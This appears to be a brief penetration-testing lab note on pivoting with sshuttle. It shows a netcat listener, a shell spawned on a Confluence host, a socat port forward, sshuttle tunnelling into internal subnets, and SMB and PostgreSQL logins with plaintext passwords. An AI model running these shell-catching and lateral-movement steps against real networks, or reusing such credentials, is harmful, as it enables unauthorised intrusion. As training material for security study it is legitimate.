Sshuttle
$ nc -lvnp 4444
...
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/sh")'
$ socat TCP-LISTEN:2222,fork TCP:10.4.125.215:22$ sshuttle -r database_admin@192.168.125.63:2222 10.4.125.0/24 172.16.125.0/24
...
database_admin@192.168.125.63's password: #sqlpass123
client_input_hostkeys: hostkeys_foreach failed for /home/x7331/.ssh/known_hosts: Permission denied
c : Connected to server.$ smbclient -L //172.16.125.217/ -U hr_admin --password=Welcome1234
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Scripts Disk
Users Disk
$ psql -h 10.4.125.215 -p 5432 -U postgres
Password for user postgres: # D@t4basePassw0rd!
...
postgres=#Last updated